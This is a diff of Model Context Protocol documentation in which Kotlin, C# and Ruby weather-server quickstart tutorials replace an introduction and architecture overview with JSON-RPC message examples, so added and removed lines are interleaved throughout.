HttpClient(CIO) { + defaultRequest { + url("https://api.weather.gov") + headers { + append("Accept", "application/geo+json") + append("User-Agent", "WeatherApiClient/1.0") + } + contentType(ContentType.Application.Json) + } + install(ContentNegotiation) { + json(Json { ignoreUnknownKeys = true }) + } + } + // Extension function to fetch weather alerts for a given state + suspend fun HttpClient.getAlerts(state: String): List { + val alerts = this.get("/alerts/active/area/$state").body() + return alerts.features.map { feature -> + """ + Event: ${feature.properties.event} + Area: ${feature.properties.areaDesc} + Severity: ${feature.properties.severity} + Status: ${feature.properties.status} + Headline: ${feature.properties.headline} + """.trimIndent() + } + } + // Extension function to fetch forecast information for given latitude and longitude + suspend fun HttpClient.getForecast(latitude: Double, longitude: Double): List { + val points = this.get("/points/$latitude,$longitude").body() + val forecastUrl = points.properties.forecast ?: error("No forecast URL available") + val forecast = this.get(forecastUrl).body() + return forecast.properties.periods.map { period -> + """ + ${period.name}: + Temperature: ${period.temperature}°${period.temperatureUnit} + Wind: ${period.windSpeed} ${period.windDirection} + ${period.shortForecast} + """.trimIndent() + } + } -MCP (Model Context Protocol) is an open-source standard for connecting AI applications to external systems. + @Serializable + data class PointsResponse(val properties: PointsProperties) -Using MCP, AI applications like Claude or ChatGPT can connect to data sources (e.g. local files, databases), tools (e.g. search engines, calculators) and workflows (e.g. specialized prompts)—enabling them to access key information and perform tasks. + @Serializable + data class PointsProperties(val forecast: String? = null) -Think of MCP like a USB-C port for AI applications. Just as USB-C provides a standardized way to connect electronic devices, MCP provides a standardized way to connect AI applications to external systems. + @Serializable + data class ForecastResponse(val properties: ForecastProperties) - - - + @Serializable + data class ForecastProperties(val periods: List = emptyList()) -## What can MCP enable? + @Serializable + data class ForecastPeriod( + val name: String? = null, + val temperature: Int? = null, + val temperatureUnit: String? = null, + val windSpeed: String? = null, + val windDirection: String? = null, + val shortForecast: String? = null, + ) -* Agents can access your Google Calendar and Notion, acting as a more personalized AI assistant. -* Claude Code can generate an entire web app using a Figma design. -* Enterprise chatbots can connect to multiple databases across an organization, empowering users to analyze data using chat. -* AI models can create 3D designs on Blender and print them out using a 3D printer. + @Serializable + data class AlertsResponse(val features: List = emptyList()) -## Why does MCP matter? + @Serializable + data class AlertFeature(val properties: AlertProperties) -Depending on where you sit in the ecosystem, MCP can have a range of benefits. + @Serializable + data class AlertProperties( + val event: String? = null, + val areaDesc: String? = null, + val severity: String? = null, + val status: String? = null, + val headline: String? = null, + ) + ``` -* **Developers**: MCP reduces development time and complexity when building, or integrating with, an AI application or agent. -* **AI applications or agents**: MCP provides access to an ecosystem of data sources, tools and apps which will enhance capabilities and improve the end-user experience. -* **End-users**: MCP results in more capable AI applications or agents which can access your data and take actions on your behalf when necessary. + ### Implementing tool execution -## Start Building + The tool execution handler is responsible for actually executing the logic of each tool. Let's add it: - - - Create MCP servers to expose your data and tools - + ```kotlin theme={null} + // Register weather tools - - Develop applications that connect to MCP servers - - + server.addTool( + name = "get_alerts", + description = "Get weather alerts for a US state. Input is a two-letter US state code (e.g. CA, NY)", + inputSchema = ToolSchema( + properties = buildJsonObject { + putJsonObject("state") { + put("type", "string") + put("description", "Two-letter US state code (e.g. CA, NY)") + } + }, + required = listOf("state"), + ), + ) { request -> + val state = request.arguments?.get("state")?.jsonPrimitive?.content + ?: return@addTool CallToolResult( + content = listOf(TextContent("The 'state' parameter is required.")), + ) -## Learn more + val alerts = httpClient.getAlerts(state) + CallToolResult(content = alerts.map { TextContent(it) }) + } - - - Learn the core concepts and architecture of MCP - - + server.addTool( + name = "get_forecast", + description = "Get weather forecast for a location. Note: only US locations are supported by the NWS API.", + inputSchema = ToolSchema( + properties = buildJsonObject { + putJsonObject("latitude") { + put("type", "number") + put("description", "Latitude of the location") + } + putJsonObject("longitude") { + put("type", "number") + put("description", "Longitude of the location") + } + }, + required = listOf("latitude", "longitude"), + ), + ) { request -> + val latitude = request.arguments?.get("latitude")?.jsonPrimitive?.doubleOrNull + val longitude = request.arguments?.get("longitude")?.jsonPrimitive?.doubleOrNull + if (latitude == null || longitude == null) { + return@addTool CallToolResult( + content = listOf(TextContent("The 'latitude' and 'longitude' parameters are required.")), + ) + } + val forecast = httpClient.getForecast(latitude, longitude) + CallToolResult(content = forecast.map { TextContent(it) }) + } + ``` -# Architecture overview -Source: https://modelcontextprotocol.io/docs/learn/architecture + ### Running the server + Finally, implement the main function to run the server: + ```kotlin theme={null} + fun main() = runMcpServer() + ``` -This overview of the Model Context Protocol (MCP) discusses its [scope](#scope) and [core concepts](#concepts-of-mcp), and provides an [example](#example) demonstrating each core concept. + You can run the server directly during development: -Because MCP SDKs abstract away many concerns, most developers will likely find the [data layer protocol](#data-layer-protocol) section to be the most useful. It discusses how MCP servers can provide context to an AI application. + ```bash theme={null} + ./gradlew run + ``` -For specific implementation details, please refer to the documentation for your [language-specific SDK](/docs/sdk). + For production use, build the shadow JAR: -## Scope + ```bash theme={null} + ./gradlew build + java -jar build/libs/weather-0.1.0-all.jar + ``` -The Model Context Protocol includes the following projects: + Let's now test your server from an existing MCP host, Claude for Desktop. -* [MCP Specification](https://modelcontextprotocol.io/specification/latest): A specification of MCP that outlines the implementation requirements for clients and servers. -* [MCP SDKs](/docs/sdk): SDKs for different programming languages that implement MCP. -* **MCP Development Tools**: Tools for developing MCP servers and clients, including the [MCP Inspector](https://github.com/modelcontextprotocol/inspector) -* [MCP Reference Server Implementations](https://github.com/modelcontextprotocol/servers): Reference implementations of MCP servers. + ## Testing your server with Claude for Desktop - - MCP focuses solely on the protocol for context exchange—it does not dictate - how AI applications use LLMs or manage the provided context. - + + Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](/docs/develop/build-client) tutorial to build an MCP client that connects to the server we just built. + -## Concepts of MCP + First, make sure you have Claude for Desktop installed. [You can install the latest version + here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.** -### Participants + We'll need to configure Claude for Desktop for whichever MCP servers you want to use. + To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. + Make sure to create the file if it doesn't exist. -MCP follows a client-server architecture where an MCP host — an AI application like [Claude Code](https://www.anthropic.com/claude-code) or [Claude Desktop](https://www.claude.ai/download) — establishes connections to one or more MCP servers. The MCP host accomplishes this by creating one MCP client for each MCP server. Each MCP client maintains a dedicated connection with its corresponding MCP server. + For example, if you have [VS Code](https://code.visualstudio.com/) installed: -Local MCP servers that use the STDIO transport typically serve a single MCP client, whereas remote MCP servers that use the Streamable HTTP transport will typically serve many MCP clients. + + ```bash macOS/Linux theme={null} + code ~/Library/Application\ Support/Claude/claude_desktop_config.json + ``` -The key participants in the MCP architecture are: + ```powershell Windows theme={null} + code $env:AppData\Claude\claude_desktop_config.json + ``` + -* **MCP Host**: The AI application that coordinates and manages one or multiple MCP clients -* **MCP Client**: A component that maintains a connection to an MCP server and obtains context from an MCP server for the MCP host to use -* **MCP Server**: A program that provides context to MCP clients + You'll then add your servers in the `mcpServers` key. + The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured. -**For example**: Visual Studio Code acts as an MCP host. When Visual Studio Code establishes a connection to an MCP server, such as the [Sentry MCP server](https://docs.sentry.io/product/sentry-mcp/), the Visual Studio Code runtime instantiates an MCP client object that maintains the connection to the Sentry MCP server. -When Visual Studio Code subsequently connects to another MCP server, such as the [local filesystem server](https://github.com/modelcontextprotocol/servers/tree/main/src/filesystem), the Visual Studio Code runtime instantiates an additional MCP client object to maintain this connection. + In this case, we'll add our single weather server like so: -```mermaid theme={null} -graph TB - subgraph "MCP Host (AI Application)" - Client1["MCP Client 1"] - Client2["MCP Client 2"] - Client3["MCP Client 3"] - Client4["MCP Client 4"] - end + + ```json macOS/Linux theme={null} + { + "mcpServers": { + "weather": { + "command": "java", + "args": [ + "-jar", + "/ABSOLUTE/PATH/TO/PARENT/FOLDER/weather/build/libs/weather-0.1.0-all.jar" + ] + } + } + } + ``` - ServerA["MCP Server A - Local
(e.g. Filesystem)"] - ServerB["MCP Server B - Local
(e.g. Database)"] - ServerC["MCP Server C - Remote
(e.g. Sentry)"] + ```json Windows theme={null} + { + "mcpServers": { + "weather": { + "command": "java", + "args": [ + "-jar", + "C:\\PATH\\TO\\PARENT\\FOLDER\\weather\\build\\libs\\weather-0.1.0-all.jar" + ] + } + } + } + ``` +
- Client1 ---|"Dedicated
connection"| ServerA - Client2 ---|"Dedicated
connection"| ServerB - Client3 ---|"Dedicated
connection"| ServerC - Client4 ---|"Dedicated
connection"| ServerC -``` + This tells Claude for Desktop: -Note that **MCP server** refers to the program that serves context data, regardless of -where it runs. MCP servers can execute locally or remotely. For example, when -Claude Desktop launches the [filesystem -server](https://github.com/modelcontextprotocol/servers/tree/main/src/filesystem), -the server runs locally on the same machine because it uses the STDIO -transport. This is commonly referred to as a "local" MCP server. The official -[Sentry MCP server](https://docs.sentry.io/product/sentry-mcp/) runs on the -Sentry platform, and uses the Streamable HTTP transport. This is commonly -referred to as a "remote" MCP server. + 1. There's an MCP server named "weather" + 2. Launch it by running `java -jar /ABSOLUTE/PATH/TO/PARENT/FOLDER/weather/build/libs/weather-0.1.0-all.jar` -### Layers + Save the file, and restart **Claude for Desktop**. +
-MCP consists of two layers: + + Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](https://github.com/modelcontextprotocol/csharp-sdk/tree/main/samples/QuickstartWeatherServer) -* **Data layer**: Defines the JSON-RPC based protocol for client-server communication, including lifecycle management, and core primitives, such as tools, resources, prompts and notifications. -* **Transport layer**: Defines the communication mechanisms and channels that enable data exchange between clients and servers, including transport-specific connection establishment, message framing, and authorization. + ### Prerequisite knowledge -Conceptually the data layer is the inner layer, while the transport layer is the outer layer. + This quickstart assumes you have familiarity with: -#### Data layer + * C# + * LLMs like Claude + * .NET 8 or higher -The data layer implements a [JSON-RPC 2.0](https://www.jsonrpc.org/) based exchange protocol that defines the message structure and semantics. -This layer includes: + ### Logging in MCP Servers -* **Lifecycle management**: Handles connection initialization, capability negotiation, and connection termination between clients and servers -* **Server features**: Enables servers to provide core functionality including tools for AI actions, resources for context data, and prompts for interaction templates from and to the client -* **Client features**: Enables servers to ask the client to sample from the host LLM, elicit input from the user, and log messages to the client -* **Utility features**: Supports additional capabilities like notifications for real-time updates and progress tracking for long-running operations + When implementing MCP servers, be careful about how you handle logging: -#### Transport layer + **For STDIO-based servers:** Never use `Console.WriteLine()` or `Console.Write()`, as they write to standard output (stdout). Writing to stdout will corrupt the JSON-RPC messages and break your server. -The transport layer manages communication channels and authentication between clients and servers. It handles connection establishment, message framing, and secure communication between MCP participants. + **For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses. -MCP supports two transport mechanisms: + ### Best Practices -* **Stdio transport**: Uses standard input/output streams for direct process communication between local processes on the same machine, providing optimal performance with no network overhead. -* **Streamable HTTP transport**: Uses HTTP POST for client-to-server messages with optional Server-Sent Events for streaming capabilities. This transport enables remote server communication and supports standard HTTP authentication methods including bearer tokens, API keys, and custom headers. MCP recommends using OAuth to obtain authentication tokens. + * Use a logging library that writes to stderr or files. -The transport layer abstracts communication details from the protocol layer, enabling the same JSON-RPC 2.0 message format across all transport mechanisms. + ### System requirements -### Data Layer Protocol + * [.NET 8 SDK](https://dotnet.microsoft.com/download/dotnet/8.0) or higher installed. -A core part of MCP is defining the schema and semantics between MCP clients and MCP servers. Developers will likely find the data layer — in particular, the set of [primitives](#primitives) — to be the most interesting part of MCP. It is the part of MCP that defines the ways developers can share context from MCP servers to MCP clients. + ### Set up your environment -MCP uses [JSON-RPC 2.0](https://www.jsonrpc.org/) as its underlying RPC protocol. Client and servers send requests to each other and respond accordingly. Notifications can be used when no response is required. + First, let's install `dotnet` if you haven't already. You can download `dotnet` from [official Microsoft .NET website](https://dotnet.microsoft.com/download/). Verify your `dotnet` installation: -#### Lifecycle management + ```bash theme={null} + dotnet --version + ``` -MCP is a stateful protocol that requires lifecycle management. The purpose of lifecycle management is to negotiate the capabilities that both client and server support. Detailed information can be found in the [specification](/specification/latest/basic/lifecycle), and the [example](#example) showcases the initialization sequence. + Now, let's create and set up your project: -#### Primitives + + ```bash macOS/Linux theme={null} + # Create a new directory for our project + mkdir weather + cd weather + # Initialize a new C# project + dotnet new console + ``` -MCP primitives are the most important concept within MCP. They define what clients and servers can offer each other. These primitives specify the types of contextual information that can be shared with AI applications and the range of actions that can be performed. + ```powershell Windows theme={null} + # Create a new directory for our project + mkdir weather + cd weather + # Initialize a new C# project + dotnet new console + ``` + -MCP defines three core primitives that *servers* can expose: + After running `dotnet new console`, you will be presented with a new C# project. + You can open the project in your favorite IDE, such as [Visual Studio](https://visualstudio.microsoft.com/) or [Rider](https://www.jetbrains.com/rider/). + Alternatively, you can create a C# application using the [Visual Studio project wizard](https://learn.microsoft.com/en-us/visualstudio/get-started/csharp/tutorial-console?view=vs-2022). + After creating the project, add NuGet package for the Model Context Protocol SDK and hosting: -* **Tools**: Executable functions that AI applications can invoke to perform actions (e.g., file operations, API calls, database queries) -* **Resources**: Data sources that provide contextual information to AI applications (e.g., file contents, database records, API responses) -* **Prompts**: Reusable templates that help structure interactions with language models (e.g., system prompts, few-shot examples) + ```bash theme={null} + # Add the Model Context Protocol SDK NuGet package + dotnet add package ModelContextProtocol --prerelease + # Add the .NET Hosting NuGet package + dotnet add package Microsoft.Extensions.Hosting + ``` -Each primitive type has associated methods for discovery (`*/list`), retrieval (`*/get`), and in some cases, execution (`tools/call`). -MCP clients will use the `*/list` methods to discover available primitives. For example, a client can first list all available tools (`tools/list`) and then execute them. This design allows listings to be dynamic. + Now let’s dive into building your server. -As a concrete example, consider an MCP server that provides context about a database. It can expose tools for querying the database, a resource that contains the schema of the database, and a prompt that includes few-shot examples for interacting with the tools. + ## Building your server -For more details about server primitives see [server concepts](./server-concepts). + Open the `Program.cs` file in your project and replace its contents with the following code: -MCP also defines primitives that *clients* can expose. These primitives allow MCP server authors to build richer interactions. + ```csharp theme={null} + using Microsoft.Extensions.DependencyInjection; + using Microsoft.Extensions.Hosting; + using ModelContextProtocol; + using System.Net.Http.Headers; -* **Sampling**: Allows servers to request language model completions from the client's AI application. This is useful when server authors want access to a language model, but want to stay model-independent and not include a language model SDK in their MCP server. They can use the `sampling/complete` method to request a language model completion from the client's AI application. -* **Elicitation**: Allows servers to request additional information from users. This is useful when server authors want to get more information from the user, or ask for confirmation of an action. They can use the `elicitation/request` method to request additional information from the user. -* **Logging**: Enables servers to send log messages to clients for debugging and monitoring purposes. + var builder = Host.CreateEmptyApplicationBuilder(settings: null); -For more details about client primitives see [client concepts](./client-concepts). + builder.Services.AddMcpServer() + .WithStdioServerTransport() + .WithToolsFromAssembly(); -Besides server and client primitives, the protocol offers cross-cutting utility primitives that augment how requests are executed: + builder.Services.AddSingleton(_ => + { + var client = new HttpClient() { BaseAddress = new Uri("https://api.weather.gov") }; + client.DefaultRequestHeaders.UserAgent.Add(new ProductInfoHeaderValue("weather-tool", "1.0")); + return client; + }); -* **Tasks (Experimental)**: Durable execution wrappers that enable deferred result retrieval and status tracking for MCP requests (e.g., expensive computations, workflow automation, batch processing, multi-step operations) + var app = builder.Build(); -#### Notifications + await app.RunAsync(); + ``` -The protocol supports real-time notifications to enable dynamic updates between servers and clients. For example, when a server's available tools change—such as when new functionality becomes available or existing tools are modified—the server can send tool update notifications to inform connected clients about these changes. Notifications are sent as JSON-RPC 2.0 notification messages (without expecting a response) and enable MCP servers to provide real-time updates to connected clients. + + When creating the `ApplicationHostBuilder`, ensure you use `CreateEmptyApplicationBuilder` instead of `CreateDefaultBuilder`. This ensures that the server does not write any additional messages to the console. This is only necessary for servers using STDIO transport. + -## Example + This code sets up a basic console application that uses the Model Context Protocol SDK to create an MCP server with standard I/O transport. -### Data Layer + ### Weather API helper functions -This section provides a step-by-step walkthrough of an MCP client-server interaction, focusing on the data layer protocol. We'll demonstrate the lifecycle sequence, tool operations, and notifications using JSON-RPC 2.0 messages. + Create an extension class for `HttpClient` which helps simplify JSON request handling: - - - MCP begins with lifecycle management through a capability negotiation handshake. As described in the [lifecycle management](#lifecycle-management) section, the client sends an `initialize` request to establish the connection and negotiate supported features. + ```csharp theme={null} + using System.Text.Json; - - ```json Initialize Request theme={null} - { - "jsonrpc": "2.0", - "id": 1, - "method": "initialize", - "params": { - "protocolVersion": "2025-06-18", - "capabilities": { - "elicitation": {} - }, - "clientInfo": { - "name": "example-client", - "version": "1.0.0" - } - } - } - ``` - - ```json Initialize Response theme={null} - { - "jsonrpc": "2.0", - "id": 1, - "result": { - "protocolVersion": "2025-06-18", - "capabilities": { - "tools": { - "listChanged": true - }, - "resources": {} - }, - "serverInfo": { - "name": "example-server", - "version": "1.0.0" - } + internal static class HttpClientExt + { + public static async Task ReadJsonDocumentAsync(this HttpClient client, string requestUri) + { + using var response = await client.GetAsync(requestUri); + response.EnsureSuccessStatusCode(); + return await JsonDocument.ParseAsync(await response.Content.ReadAsStreamAsync()); } - } - ``` - + } + ``` - #### Understanding the Initialization Exchange + Next, define a class with the tool execution handlers for querying and converting responses from the National Weather Service API: - The initialization process is a key part of MCP's lifecycle management and serves several critical purposes: + ```csharp theme={null} + using ModelContextProtocol.Server; + using System.ComponentModel; + using System.Globalization; + using System.Text.Json; - 1. **Protocol Version Negotiation**: The `protocolVersion` field (e.g., "2025-06-18") ensures both client and server are using compatible protocol versions. This prevents communication errors that could occur when different versions attempt to interact. If a mutually compatible version is not negotiated, the connection should be terminated. + namespace QuickstartWeatherServer.Tools; - 2. **Capability Discovery**: The `capabilities` object allows each party to declare what features they support, including which [primitives](#primitives) they can handle (tools, resources, prompts) and whether they support features like [notifications](#notifications). This enables efficient communication by avoiding unsupported operations. + [McpServerToolType] + public static class WeatherTools + { + [McpServerTool, Description("Get weather alerts for a US state code.")] + public static async Task GetAlerts( + HttpClient client, + [Description("The US state code to get alerts for.")] string state) + { + using var jsonDocument = await client.ReadJsonDocumentAsync($"/alerts/active/area/{state}"); + var jsonElement = jsonDocument.RootElement; + var alerts = jsonElement.GetProperty("features").EnumerateArray(); - 3. **Identity Exchange**: The `clientInfo` and `serverInfo` objects provide identification and versioning information for debugging and compatibility purposes. + if (!alerts.Any()) + { + return "No active alerts for this state."; + } - In this example, the capability negotiation demonstrates how MCP primitives are declared: + return string.Join("\n--\n", alerts.Select(alert => + { + JsonElement properties = alert.GetProperty("properties"); + return $""" + Event: {properties.GetProperty("event").GetString()} + Area: {properties.GetProperty("areaDesc").GetString()} + Severity: {properties.GetProperty("severity").GetString()} + Description: {properties.GetProperty("description").GetString()} + Instruction: {properties.GetProperty("instruction").GetString()} + """; + })); + } - **Client Capabilities**: + [McpServerTool, Description("Get weather forecast for a location.")] + public static async Task GetForecast( + HttpClient client, + [Description("Latitude of the location.")] double latitude, + [Description("Longitude of the location.")] double longitude) + { + var pointUrl = string.Create(CultureInfo.InvariantCulture, $"/points/{latitude},{longitude}"); + using var jsonDocument = await client.ReadJsonDocumentAsync(pointUrl); + var forecastUrl = jsonDocument.RootElement.GetProperty("properties").GetProperty("forecast").GetString() + ?? throw new Exception($"No forecast URL provided by {client.BaseAddress}points/{latitude},{longitude}"); - * `"elicitation": {}` - The client declares it can work with user interaction requests (can receive `elicitation/create` method calls) + using var forecastDocument = await client.ReadJsonDocumentAsync(forecastUrl); + var periods = forecastDocument.RootElement.GetProperty("properties").GetProperty("periods").EnumerateArray(); - **Server Capabilities**: + return string.Join("\n---\n", periods.Select(period => $""" + {period.GetProperty("name").GetString()} + Temperature: {period.GetProperty("temperature").GetInt32()}°F + Wind: {period.GetProperty("windSpeed").GetString()} {period.GetProperty("windDirection").GetString()} + Forecast: {period.GetProperty("detailedForecast").GetString()} + """)); + } + } + ``` - * `"tools": {"listChanged": true}` - The server supports the tools primitive AND can send `tools/list_changed` notifications when its tool list changes - * `"resources": {}` - The server also supports the resources primitive (can handle `resources/list` and `resources/read` methods) + ### Running the server - After successful initialization, the client sends a notification to indicate it's ready: + Finally, run the server using the following command: - ```json Notification theme={null} - { - "jsonrpc": "2.0", - "method": "notifications/initialized" - } + ```bash theme={null} + dotnet run ``` - #### How This Works in AI Applications + This will start the server and listen for incoming requests on standard input/output. - During initialization, the AI application's MCP client manager establishes connections to configured servers and stores their capabilities for later use. The application uses this information to determine which servers can provide specific types of functionality (tools, resources, prompts) and whether they support real-time updates. + ## Testing your server with Claude for Desktop - ```python Pseudo-code for AI application initialization theme={null} - # Pseudo Code - async with stdio_client(server_config) as (read, write): - async with ClientSession(read, write) as session: - init_response = await session.initialize() - if init_response.capabilities.tools: - app.register_mcp_server(session, supports_tools=True) - app.set_server_ready(session) - ``` - + + Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](/docs/develop/build-client) tutorial to build an MCP client that connects to the server we just built. + - - Now that the connection is established, the client can discover available tools by sending a `tools/list` request. This request is fundamental to MCP's tool discovery mechanism — it allows clients to understand what tools are available on the server before attempting to use them. + First, make sure you have Claude for Desktop installed. [You can install the latest version + here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.** + We'll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn't exist. + For example, if you have [VS Code](https://code.visualstudio.com/) installed: - ```json Tools List Request theme={null} + ```bash macOS/Linux theme={null} + code ~/Library/Application\ Support/Claude/claude_desktop_config.json + ``` + + ```powershell Windows theme={null} + code $env:AppData\Claude\claude_desktop_config.json + ``` + + + You'll then add your servers in the `mcpServers` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured. + In this case, we'll add our single weather server like so: + + + ```json macOS/Linux theme={null} { - "jsonrpc": "2.0", - "id": 2, - "method": "tools/list" + "mcpServers": { + "weather": { + "command": "dotnet", + "args": ["run", "--project", "/ABSOLUTE/PATH/TO/PROJECT", "--no-build"] + } + } } ``` - ```json Tools List Response theme={null} + ```json Windows theme={null} { - "jsonrpc": "2.0", - "id": 2, - "result": { - "tools": [ - { - "name": "calculator_arithmetic", - "title": "Calculator", - "description": "Perform mathematical calculations including basic arithmetic, trigonometric functions, and algebraic operations", - "inputSchema": { - "type": "object", - "properties": { - "expression": { - "type": "string", - "description": "Mathematical expression to evaluate (e.g., '2 + 3 * 4', 'sin(30)', 'sqrt(16)')" - } - }, - "required": ["expression"] - } - }, - { - "name": "weather_current", - "title": "Weather Information", - "description": "Get current weather information for any location worldwide", - "inputSchema": { - "type": "object", - "properties": { - "location": { - "type": "string", - "description": "City name, address, or coordinates (latitude,longitude)" - }, - "units": { - "type": "string", - "enum": ["metric", "imperial", "kelvin"], - "description": "Temperature units to use in response", - "default": "metric" - } - }, - "required": ["location"] - } - } - ] + "mcpServers": { + "weather": { + "command": "dotnet", + "args": [ + "run", + "--project", + "C:\\ABSOLUTE\\PATH\\TO\\PROJECT", + "--no-build" + ] + } } } ``` - #### Understanding the Tool Discovery Request + This tells Claude for Desktop: - The `tools/list` request is simple, containing no parameters. + 1. There's an MCP server named "weather" + 2. Launch it by running `dotnet run /ABSOLUTE/PATH/TO/PROJECT` + Save the file, and restart **Claude for Desktop**. + - #### Understanding the Tool Discovery Response + + Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-ruby) - The response contains a `tools` array that provides comprehensive metadata about each available tool. This array-based structure allows servers to expose multiple tools simultaneously while maintaining clear boundaries between different functionalities. + ### Prerequisite knowledge - Each tool object in the response includes several key fields: + This quickstart assumes you have familiarity with: - * **`name`**: A unique identifier for the tool within the server's namespace. This serves as the primary key for tool execution and should follow a clear naming pattern (e.g., `calculator_arithmetic` rather than just `calculate`) - * **`title`**: A human-readable display name for the tool that clients can show to users - * **`description`**: Detailed explanation of what the tool does and when to use it - * **`inputSchema`**: A JSON Schema that defines the expected input parameters, enabling type validation and providing clear documentation about required and optional parameters + * Ruby + * LLMs like Claude - #### How This Works in AI Applications + ### Logging in MCP Servers - The AI application fetches available tools from all connected MCP servers and combines them into a unified tool registry that the language model can access. This allows the LLM to understand what actions it can perform and automatically generates the appropriate tool calls during conversations. + When implementing MCP servers, be careful about how you handle logging: - ```python Pseudo-code for AI application tool discovery theme={null} - # Pseudo-code using MCP Python SDK patterns - available_tools = [] - for session in app.mcp_server_sessions(): - tools_response = await session.list_tools() - available_tools.extend(tools_response.tools) - conversation.register_available_tools(available_tools) - ``` - + **For STDIO-based servers:** Never use `puts` or `print`, as they write to standard output (stdout) by default. Writing to stdout will corrupt the JSON-RPC messages and break your server. - - The client can now execute a tool using the `tools/call` method. This demonstrates how MCP primitives are used in practice: after discovering available tools, the client can invoke them with appropriate arguments. + **For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses. - #### Understanding the Tool Execution Request - - The `tools/call` request follows a structured format that ensures type safety and clear communication between client and server. Note that we're using the proper tool name from the discovery response (`weather_current`) rather than a simplified name: - - - ```json Tool Call Request theme={null} - { - "jsonrpc": "2.0", - "id": 3, - "method": "tools/call", - "params": { - "name": "weather_current", - "arguments": { - "location": "San Francisco", - "units": "imperial" - } - } - } - ``` + ### Best Practices - ```json Tool Call Response theme={null} - { - "jsonrpc": "2.0", - "id": 3, - "result": { - "content": [ - { - "type": "text", - "text": "Current weather in San Francisco: 68°F, partly cloudy with light winds from the west at 8 mph. Humidity: 65%" - } - ] - } - } - ``` - + * Use a logging library that writes to stderr or files. - #### Key Elements of Tool Execution + ### Quick Examples - The request structure includes several important components: + ```ruby theme={null} + # ❌ Bad (STDIO) + puts "Processing request" - 1. **`name`**: Must match exactly the tool name from the discovery response (`weather_current`). This ensures the server can correctly identify which tool to execute. + # ✅ Good (STDIO) + require "logger" + logger = Logger.new($stderr) + logger.info("Processing request") + ``` - 2. **`arguments`**: Contains the input parameters as defined by the tool's `inputSchema`. In this example: - * `location`: "San Francisco" (required parameter) - * `units`: "imperial" (optional parameter, defaults to "metric" if not specified) + ### System requirements - 3. **JSON-RPC Structure**: Uses standard JSON-RPC 2.0 format with unique `id` for request-response correlation. + * Ruby 2.7 or higher installed. - #### Understanding the Tool Execution Response + ### Set up your environment - The response demonstrates MCP's flexible content system: + First, let's make sure you have Ruby installed. You can check by running: - 1. **`content` Array**: Tool responses return an array of content objects, allowing for rich, multi-format responses (text, images, resources, etc.) + ```bash theme={null} + ruby --version + ``` - 2. **Content Types**: Each content object has a `type` field. In this example, `"type": "text"` indicates plain text content, but MCP supports various content types for different use cases. + Now, let's create and set up our project: - 3. **Structured Output**: The response provides actionable information that the AI application can use as context for language model interactions. + + ```bash macOS/Linux theme={null} + # Create a new directory for our project + mkdir weather + cd weather - This execution pattern allows AI applications to dynamically invoke server functionality and receive structured responses that can be integrated into conversations with language models. + # Create a Gemfile + bundle init - #### How This Works in AI Applications + # Add the MCP SDK dependency + bundle add mcp - When the language model decides to use a tool during a conversation, the AI application intercepts the tool call, routes it to the appropriate MCP server, executes it, and returns the results back to the LLM as part of the conversation flow. This enables the LLM to access real-time data and perform actions in the external world. + # Create our server file + touch weather.rb + ``` - ```python theme={null} - # Pseudo-code for AI application tool execution - async def handle_tool_call(conversation, tool_name, arguments): - session = app.find_mcp_session_for_tool(tool_name) - result = await session.call_tool(tool_name, arguments) - conversation.add_tool_result(result.content) - ``` - + ```powershell Windows theme={null} + # Create a new directory for our project + mkdir weather + cd weather - - MCP supports real-time notifications that enable servers to inform clients about changes without being explicitly requested. This demonstrates the notification system, a key feature that keeps MCP connections synchronized and responsive. + # Create a Gemfile + bundle init - #### Understanding Tool List Change Notifications + # Add the MCP SDK dependency + bundle add mcp - When the server's available tools change—such as when new functionality becomes available, existing tools are modified, or tools become temporarily unavailable—the server can proactively notify connected clients: + # Create our server file + new-item weather.rb + ``` + - ```json Request theme={null} - { - "jsonrpc": "2.0", - "method": "notifications/tools/list_changed" - } - ``` + Now let's dive into building your server. - #### Key Features of MCP Notifications + ## Building your server - 1. **No Response Required**: Notice there's no `id` field in the notification. This follows JSON-RPC 2.0 notification semantics where no response is expected or sent. + ### Importing packages and setting up constants - 2. **Capability-Based**: This notification is only sent by servers that declared `"listChanged": true` in their tools capability during initialization (as shown in Step 1). + Open `weather.rb` and add these requires and constants at the top: - 3. **Event-Driven**: The server decides when to send notifications based on internal state changes, making MCP connections dynamic and responsive. + ```ruby theme={null} + require "json" + require "mcp" + require "net/http" + require "uri" - #### Client Response to Notifications + NWS_API_BASE = "https://api.weather.gov" + USER_AGENT = "weather-app/1.0" + ``` - Upon receiving this notification, the client typically reacts by requesting the updated tool list. This creates a refresh cycle that keeps the client's understanding of available tools current: + The `mcp` gem provides the Model Context Protocol SDK for Ruby, with classes for server implementation and stdio transport. - ```json Request theme={null} - { - "jsonrpc": "2.0", - "id": 4, - "method": "tools/list" - } - ``` + ### Helper methods - #### Why Notifications Matter + Next, let's add helper methods for querying and formatting data from the National Weather Service API: - This notification system is crucial for several reasons: + ```ruby theme={null} + module HelperMethods + def make_nws_request(url) + uri = URI(url) + request = Net::HTTP::Get.new(uri) + request["User-Agent"] = USER_AGENT + request["Accept"] = "application/geo+json" - 1. **Dynamic Environments**: Tools may come and go based on server state, external dependencies, or user permissions - 2. **Efficiency**: Clients don't need to poll for changes; they're notified when updates occur - 3. **Consistency**: Ensures clients always have accurate information about available server capabilities - 4. **Real-time Collaboration**: Enables responsive AI applications that can adapt to changing contexts + response = Net::HTTP.start(uri.hostname, uri.port, use_ssl: true) do |http| + http.request(request) + end - This notification pattern extends beyond tools to other MCP primitives, enabling comprehensive real-time synchronization between clients and servers. + raise "HTTP #{response.code}: #{response.message}" unless response.is_a?(Net::HTTPSuccess) - #### How This Works in AI Applications + JSON.parse(response.body) + end - When the AI application receives a notification about 